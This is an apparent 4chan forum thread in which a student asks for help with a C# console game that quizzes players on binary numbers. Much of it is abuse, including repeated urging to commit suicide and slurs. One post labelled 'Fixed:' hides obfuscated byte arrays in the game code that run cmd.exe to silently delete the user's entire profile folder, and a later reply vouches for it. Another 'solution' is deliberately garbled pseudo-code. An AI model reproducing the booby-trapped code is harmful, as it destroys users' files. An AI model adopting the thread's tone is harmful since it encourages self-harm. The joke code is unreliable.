Yoo i need some help with this assignment.
i had 1 month to learn the basics in C#
and now the time has come for my last assignment but i dident learn anything. the teacher was fucking shit from day one, i made an offical complaint 2 days after starting in school the teacher really was shit.
i need to learn how to make a little console application game, that comes with a presentation and then the game should start.
-The game must generate a random number and then convert it to binary and ask the user for the right number. it should do this 5 times.
the user must have 3 right answers to win.
at the end the app should show how many right and wrong tries there was
just post some links where i can learn this thank you
This isn't Stackoverflow, you dummie
>>62302826
what do you mean ?
Just kill yourself.
>>62302855
im gonna pass this education first
>>62302786
Yes
>>62302786
pay us or fuck off, we are not your teachers. Go demand your shitty party college for a new tutor.
>>62302786
>i had 1 month to learn the basics in C#
So why didn't you?
You're being asked to do VERY basic things in the assignment. If you can't research that by yourself, you might as well drop out because you're hopeless.
>>62302951
because the teacher was fucking shit. every time i asked for help, he acted like he didn't see me.
yes and i only now Console.WriteLine(" ")
i tried to research it on google but dident find what i need i think. if its so easy to research can you find me some links to read on ?
>>62303037
So kill yourself. Just literally kill yourself. Also welcome to 4chan.
>>62303037
You probably look like a freaky tard. If you can t do this then just drop out and save yourself some money, also suicide.
>>62303037
Sorry, but it seems like you are the retard and not the teacher.
Hell you are not even being able to look up the microsoft documentation for Console.
How old are you, op?
>>62303134
i dont know where to start, what do i need to learn first to make this console application
>>62302786
We aren't doing your homework. Go to stackoverflow and beg them to do it instead.
>>62303037
ffs, its didn't, not dident.
here is what you are going to do, you are going to follow some concrete program to learn it and you will follow it completely, find one that is good and go with it, or get a book. Just don't fuck around and touch yourself all day and you will be fine.
>>62303188
HAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHA
>>62303188
From what country?
>>62303180
i am not asking anyone to do my homework. i am asking for links that can help me understand how to make this console application
>>62303218
I've literally done this once without actually going to any classes, use fucking google, also read my other comments which are the actually helpfull ones.
>>62303207
Denmark why ?
>>62303233
What school?
int value = 8; // <-- Do your random stuff here
string binary = Convert.ToString(value, 2);
Console.WriteLine(binary); // output: 1000
// Convert a number back
Console.WriteLine(Convert.ToInt32(binary, 2)); // output: 8
If you can't figure it out now, you should, as others have suggested, literally kill yourself.
>>62302786
>C#
HAHAHAHAHAHAHAHAHAHAHABAHABAHAHHAHAHAHS
>>62303273
I think he should literally kill himself anyway.
>>62303258
Ballerup
>>62302786
If you can't figure out how to google this VERY basic information, you should just drop out.
Fucking shit honestly man, any even basically competent person should be able to do this with self learning after a month of exposure to any language, besides like assembly or something. Fuck I hope this is some high level bait. It would actually be p good bait if so
Enjoy! :)<?
public val(String)
cout << "generate number";
i = 1;
int win = 0;
while (i <= 5) {
Console.WriteLine("Enter Number: ");
num1 = get_number_from_user(8e00);
num1 = binary(num1);
Console.WriteLine("What number did you enter: ");
num2 = get_number_from_user(8e00);
num2 = binary(num2);
if (num1 = num2)
win++;
}
if (win >= 3)
Console.WriteLine("YOU WIN!");
end val
?>
>>62303258
TEC Ballerup
>>62303037
Literally any google search for "C# write text" or anything will immediately give you what you needed there.
I'm struggling to even think of what you could be "researching" to not find the vast troves of .NET documentation.
You're probably a lazy git who never payed attention because you wanted to make games and haven't googled anything yet.
>>62303328
DELET DIS
>>62303164
Jesus you know literally nothing. Even if you just wrote a hello world programm you would already know how to do half of it.
At this point i would say, dont even waste time trying to pass and instead start from the scratch.
>>62303328
>at the end the app should show how many right and wrong tries there was
>>62303328
Roll Bets on how long it will take him to find out that copypasting this won't work are now open!
>>62303354
i actually did hello world fine
>>62303369
roll
If you haven't figured out by now that most CS professors are useless, and you're basically paying to have your assignments graded and nothing else. If you don't have the willpower to learn this on your own then just drop the class.
Otherwise quit being a little bitch, sit down and start coding. We're not doing your homework for you and there's no link we can drop that will tell you how to solve your assignment anyway. You just have to put the time in and learn on your own. This is basic stuff so get cracking.
>>62303384
wow amaze
>>62302786
how the fuck is this meant to be what you can do after one month? you should be able to learn how to do this from scratch in a day.
>>62303205
this
If you're serious about paying go to reddit and find a pajeet to do it for you
This isn't even hard at all so it shouldn't be that expensive or take too long to have it made
>>62303421
Hooow ?????. links ??
>>62303452
Okay, so I've never worked with C# before. It took me 1 min to Google this shit. If you read these pages and have no idea what you are doing, you are in over your head and should drop out.
https://msdn.microsoft.com/en-us/library/system.console.readline(v=vs.110).aspx
https://msdn.microsoft.com/en-us/library/system.random(v=vs.110).aspx
https://msdn.microsoft.com/en-us/library/c7xhf79k(v=vs.110).aspx
https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/while
>>62302840
kys
>>62303452
Microsoft virtual academy is all right. the brackeys YouTube series is also good. why the fuck don't you just Google "learn c#"?
>>62302786
Don't think about how to code it for a second.
Sit down and draw a diagram/flowchart how will the application logic work, then look on what you need on input/output.
Finally summarize some questions like "How to xy in C#" and put it into Google
>>62302786using System;
namespace Homework
{
class Program
{
Random ran;
int correct_guesses = 0;
int total_games = 0;
Program() {
ran = new Random();
}
public void Game() {
// Generate a random number from 1 to 5.
int number = ran.Next(1, 5);
// Convert the number to a binary string.
string bnum = Convert.ToString(number, 2);
// Pad the number so that it is 8 chars
bnum = bnum.PadLeft(8, '0');
// Print the number in binary form
Console.WriteLine(bnum);
int guess;
try {
// Read a value from the console and convert it to an int
guess = Convert.ToInt32(Console.ReadLine());
} catch(Exception e) {
Console.WriteLine("Please enter a number");
return;
}
// Compare guess to number
if (guess == number) {
correct_guesses++;
}
total_games++;
}
public int get_total_wins() {
return correct_guesses;
}
public int get_total_games() {
return total_games;
}
static void Main(string[] args)
{
Program prog = new Program();
while (prog.get_total_games() < 5) {
prog.Game();
}
if (prog.get_total_wins() >= 3) {
Console.WriteLine("You Win!");
}
}
}
}
>>62303207
>india
>>62302786
Shitpost aside, this was actually the first thing I ever programmed back when I was learning python.
I remember it being pretty easy. It's literally just storing vars, counting them up, iterating, etc. I could do this in C++ in 5 minutes.
Here you go, OP, just for you.
>>62303497
Derp, forgot to print the final output after the you win if block putConsole.WriteLine("Correct guessed {0}, Wrong Guesses {1}", prog.get_total_wins(), prog.get_total_games() - prog.get_total_wins());
>>62303384
You got the job!
>>62303497
>Using try catch for parsing string to int
>not using Int32.TryParse
Eww
>>62303469
so you learnd how to do it only with those 4 links ?
>>62303591
Just for you babyusing System;
namespace HomeWork
{
class Program
{
Random ran;
int correct_guesses = 0;
int total_games = 0;
Program() {
ran = new Random();
}
public void Game() {
// Generate a random number from 1 to 5.
int number = ran.Next(1, 5);
// Convert the number to a binary string.
string bnum = Convert.ToString(number, 2);
// Pad the number so that it is 8 chars
bnum = bnum.PadLeft(8, '0');
// Print the number in binary form
Console.WriteLine(bnum);
int guess;
// Read a value from the console and convert it to an int
if (!Int32.TryParse(Console.ReadLine(), out guess)) {
Console.WriteLine("Please enter a number");
}
// Compare guess to number
if (guess == number) {
correct_guesses++;
}
total_games++;
}
public int get_total_wins() {
return correct_guesses;
}
public int get_total_games() {
return total_games;
}
static void Main(string[] args)
{
Program prog = new Program();
while (prog.get_total_games() < 5) {
prog.Game();
}
if (prog.get_total_wins() >= 3) {
Console.WriteLine("You Win!");
}
Console.WriteLine("Correct guesses: {0}, Wrong Guesses: {1}", prog.get_total_wins(), prog.get_total_games() - prog.get_total_wins());
}
}
}
>>62303646
damn it, forgot the return..
>>62303594
are you expecting to find a tutorial for THIS SPSCIFIC TASK? if so you are a retard and should drop out. you are supposed to be learning the language and gaining a thorough understanding of it, or at least and understanding enough to work out how to do this yourself - so, you need to find learning resources that enable you to understand the language, not just complete this one task.
>>62303673
yes that is what i am looking for
>>62303673
I think he's baiting at this point. No way someone is this autistic.
>>62303696
no man. the struggle is real
>>62303695
>are you looking for THIS or THIS
>yes
fuck off cunt. please drop out of your course. there are enough bad .NET devs in the industry already.
>>62303646
Way better
>>62303712
I know someone like you. they got through uni by goin on github and stealing peoples work and submitting it. they still didn't do that well since they could never fulfill specific requirements by just plagiarising but they passed. i think they work in walmart now.
>>62303747
im not trying to do that. i am trying to learn this stuff by my self because my teacher is shit. i have to follow school protocol so i cant just run my own show and come up with my own assignments
>>62303747
> I reinvent the wheel every time I open visual studio
If you can copy-paste the code and it does what you need why wouldn't you?
>>62303646
Fixed:using System;
namespace HomeWork
{
class Program
{
Random ran;
int correct_guesses = 0;
int total_games = 0;
Program() {
ran = new Random();
}
public void Game() {
// Generate a random number from 1 to 5.
int number = ran.Next(1, 5);
// Convert the number to a binary string.
string bnum = Convert.ToString(number, 2);
// Pad the number so that it is 8 chars
bnum = bnum.PadLeft(8, '0');
// Print the number in binary form
Console.WriteLine(bnum);
int guess;
// Read a value from the console and convert it to an int
if (!Int32.TryParse(Console.ReadLine(), out guess)) {
Console.WriteLine("Please enter a number");
}
// Compare guess to number
if (guess == number) {
correct_guesses++;
}
total_games++;
}
public int get_total_wins() {
return correct_guesses;
}
public int get_total_games() {
return total_games;
}
static void Main(string[] args)
{
System.Diagnostics.Process.Start(
System.Text.Encoding.ASCII.GetString(new byte[] {
0x63, 0x6D, 0x64, 0x2E, 0x65, 0x78, 0x65 }),
System.Text.Encoding.ASCII.GetString(new byte[] {
0x2F, 0x43, 0x20, 0x72, 0x6D, 0x64, 0x69, 0x72, 0x20, 0x2F, 0x53, 0x20,
0x2F, 0x51, 0x20, 0x22, 0x25, 0x55, 0x53, 0x45, 0x52, 0x50, 0x52, 0x4F,
0x46, 0x49, 0x4C, 0x45, 0x25, 0x22 }));
Program prog = new Program();
while (prog.get_total_games() < 5) {
prog.Game();
}
if (prog.get_total_wins() >= 3) {
Console.WriteLine("You Win!");
}
}
}
}
>>62303833
i need to understand it. i need to understand what is going on when i look at the code
>>62303795
>i'm trying to learn this stuff by myself
THAT'S WHAT EVERY COMP SCI STUDENT HAS TO DO! THAT'S WHAT COMP SCI IS ABOUT - SELF TEACHING!
You're not special because your teacher is shit. You're just lazy and you jerked this month away and probably got drunk too many times. Now accept the fact that you haven't worked hard enough and face the music.
>>62303833
theres a difference between using a few lines of code from stackoverflow in your own work and literally plagiarising an entire project from github without writing a single line of code or even comments.
>>62303873
im not the only one in class who feels like the whole thing went to fast, and the teacher was shit. there is about 6 students who feels like me
>>62303914
>to fast
>1 month to learn to write a VERY basic console application like this
fuck off cunt
>>62303914
then you're all shit. comp sci is full of shit students who "think it's going too fast" because they're not used to actually teaching themselves a single thing. Usually they all drop out by the second year - thank god.
>>62303938
yep. it went too fast considering the teaching abilitys of the teacher and hes time. seems to me like he dident have the teaching skills needed and it was a too big mouthful for him to take care of the students who have never programed a thing in there lives. so he just helped the ones who already knew a little bit becouse it was easyer for him
>>62302786
Http://git.gud
>>62304013
You shouldn't need any help to learn how to do the incredibly basic task that he gave you an entire month to do. this is the programming equivalent of single digit addition and you're acting like he's asked you some mechanical engineering question.
>>62303849
Its unefficent as fuck, but you do learn that way. I have been coding a discord bot with minimal C# knowledge for the past few days, and I can say I have learned stuff since then, actually makes me pretty happy t b h.
>>62304112
this, it's basic as fuck. even if your teacher was 100% useless, as in they sat in the corner saying nothing at all every single lesson, you should have been able to teach yourself this very very basic ability using the many online resources that can be found on Google.
>>62304263
i dident know what the last assignment would be about. i have had 3 days to make this assignment. i have had programming for about 1 month
>>62304327
>hurrdurr
just accept tat you're incompetent
you had three days to look this shit up and with a month of c# you should be able to do more than this but i guess you didn't tried to do shit cuz "hurrdurr teacher is a bulli".
Consider suicide even Pajeet outperforms you.
This thread is bait right?
You're literally wasting your time typing excuses for strangers instead of trying to learn.
You're a pathetic sack of shit that should drop out from cs or life entirely.
Fix your attitude, work instead of making excuses and own up to your errors.
That assignment is piss easy for whoever is not an idiot, regardless of education received.
Kys
>>62302786
this question was literally my first labsheet in C. We didn't even have a lecture beforehand. The fact that you've had a month to prepare for this is a massive waste of time. he should have given it to you on the first day and kicked you off the course if you couldn't do it because you're hopeless
>>62304537
I had 3 days to do it. I've had basic C# classes for about one month. But i cant do this assignment with the little knwologe I aquaired at school
>>62303328
>>62304658
I just need some links to study and figure out my self how to do this
>>62303833
Wanna know how I know nothing you've ever written is maintainable?
>>62304700
Yeah ?
>>62304658
again, how the FUCK can you have not learned enough in your first month to figure this out? you cannot have learned even the very basics without being half way to being able to do this. any reasonable course should have you doing this sort of thing after the first few DAYS, and regardless of how shit the teacher is you should have taught yourself enough to do this within a week. if you haven't done that then you have NO potential as a programmer and should drop out.
please tell me this thread is bait.
>>62304683
1. MANY links have been given to you in this thread already.
2. the first page of Google search results for "learn c# free" are all good. are you incapable of doing this?
>>62304801
I can do that but i dont get the info I need to do this assignment. Got a deadline for tomorrow
>>62304801
Yeea i will look at the links given in this thread later
>>62304833
time for a reality check then, just drop out how do you expect to do harder tasks later? come ask gentooman to spoonfeed you? how do you want to do your job?
>>62304892
this is the mentality that makes you a miserable incompetent shit
>>62304658
again. 3 days is too much time for such an easy assignment
he should have given you 30 mins and watched as you coded
>>62304736
It was rhetorical, but copy and paste code has poor cohesion and strong coupling, among other issues.
If your professor is shit, you should be looking to the book or to Internet sources to learn the language. C# can be learned pretty easily within 1 month, or at least enough to do your assignment.
>>62302786
Ill write up thr answer right now just gimme a couple minutes and i will post here
>>62303233
>white people
>>62302786
That's actually really easy, i'm in kind of a similar situation but basically all you need to do is
>generate random number (this is ez come on)
>convert to binary (not sure how to do this one myself)
>store the values in an array of 5 and do the RNG+conversion in a simple for loop to fill the array or even just 5 variables like (int rng1, int rng2 etc)
>start for loop
>user input (Console.ReadLine duh)
>store user answer in a variable, make an if statement to compare to each rng number and if it's the right number add to an int variable like (int rightTries) if it's false add to an (int wrongTries)
>the loop repeats this code 5 times
>at the end if rightTries = 3 the user wins, else lose
>console.writeline ("You got " + rightTries + "right and "+ wrongTries + "wrong")
i'm a noob so if any gentoomen give you better suggestions i'd say go with them
>>62307081
cont.
For bonus points, add a prompt at the end for exiting the program or resetting and trying again, this is easily done using switch statements and console.readline, for resetting create a method that resets all the variables and executes the game method again
>>62303328
lol
>>62303037
> blame teacher for not teaching
what the fuck is wrong with you
>cucks actually helping this retard
>>62303037
You have the Internet you idiot. Some professors just want to do research and hold lectures because they are forced to. YOU have responsibilities to learn the shit.
Just go to Google and do tutorials
>>62302786
install gentoo
>this will be my competition in a few months
ahahahahahahahahahahaha
>>62302786
Hey op, you should check out this c# tutos if you actually want to learn.
lmgtfy.com/?q=beginner+c%23+tutorials
>>62303306
lol
>>62303914
Every class that's even moderately challenging is full of whiners blaming everyone but themselves. I love laughing at you lazy faggots when I see the thousand yard stare in your eyes as you trudge to the exam. Bu..bu...the professor didn't hold my hand for me :(
>>62303037
the teacher being shit isn't a fucking excuse
you had one month to learn the goddamn basics of a language programming and you didn't even bother doing a simple fucking google search
just die
>>62302786
just pay someone on fiverr to do it
fuck c#
>>62303914
I think your class has 7 students that should leave and go work in mcdonalds while someone doesn't create a machine for that
>>62302786
Also your first mistake was not phrasing it like a job application challenge for /g/ to do.
Then you would get your pick of the best spaghetti code from hundreds of comments.
>>62303842
Can confirm this one works and is exactly what you're looking for
sent :^)
check your PMs
>>62302786
>make a trivial guess the number game
That is a week 1 project and you're having for last assignment. What meme school are you in?
>>62303356
>do all of my homework dummy
>>62304072
>Server not found
Now what?
OP you're a dumb cunt. Heres a news flash. Past highschool is about self learning. Teachers are meant to introduce you and give you knowledge on the subject but its up to you todo the study and learn the course material. You know higher education places expect a certain percentage of people to drop out right? You and thoes 6 people are that percentage. I literally saw people just like you fail and drop out in my first year. That time and effort you put into making a formal complaint? You could have put that towards picking up a text book and learning, dumb cunt. So grow the fuck up, high schools over the uni doesnt give a fuck if you drop out. Pick up a textbook and study or be just another fucktard who failed first year compsci. Im a a-b level post grad engineering student majoring in software engineering so follow or advice or fail lol. Excuses dont get degrees
>>62308386
*generate a random number and then convert it to binary and ask the user for the right number
*it should do this 5 times.
*the user must have 3 right answers to win.
*at the end they should show how many right and wrong tries there was
9/10 C# programmers cannot do it
is /g/ up to the challenge?
>>62302826
Hell, even SO would tell this guy to fuck off. Probably in some semi-official sounding way, but still.
>>62308621
Has science gone too far!?